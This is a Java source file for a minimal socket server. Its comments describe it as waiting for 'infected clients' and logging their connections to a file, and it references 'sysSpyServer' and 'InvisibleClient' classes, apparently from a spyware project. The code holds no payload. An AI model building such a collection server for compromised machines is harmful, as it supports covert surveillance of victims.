package myserver;

import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;

/**
 * Represents simple server .
 * Waits for requests from infected clients .
 * Saves clients' sockets in file 'readSockets.txt' on hard drive 'C:'
 * Your IPAddress should fulfil the requirements for server IP .
 * 
 * @author macitu
 * 
 */
public class MyServer {
	ServerSocket serverSocket ;
	Socket clientSocket;
	FileWriter writeSockets;
	
	/**
	 *  Constructor - creates ServerSocket on specified port .
	 * 
	 *  {@link  importantInf.getnow}
	 *  {@see  sysSpyServer.newsOrganizer.MainPanel} 
	 *  {@see  sysSpyServer.newsOrganizer.InvisibleClient} 
	 */
	public MyServer(){
		try{
			//simple SVN test
			//important - choose free port ;  
			serverSocket = new ServerSocket( 54321 );
		}catch(IOException ex){
		    //this exception can not be processed
		}
	}

	public void start() throws IOException{
		Socket clientSocket = null;
		if( serverSocket != null ){
			while( true ){
				try {
					
					System.out.println("listening ...");
				    clientSocket = serverSocket.accept();
				    
				    //creats or opens existing file to write the clients Sockets
				    writeSockets = new FileWriter( "c://readSockets.txt" , true );
				    
				    PrintWriter out = new PrintWriter( writeSockets );
				    out.println( clientSocket.toString() );
				    
				    out.close();
				    
				} catch (IOException ex) {
					//this exception can not be process
				}
			}
			
		}		
	}
	/**
	 * Starts the server.
	 * 
	 * @param args without startup input
	 * @throws IOException
	 */
	public static void main( String[] args ) throws IOException {
		MyServer serv = new MyServer();
		serv.start();	
	}
	
}
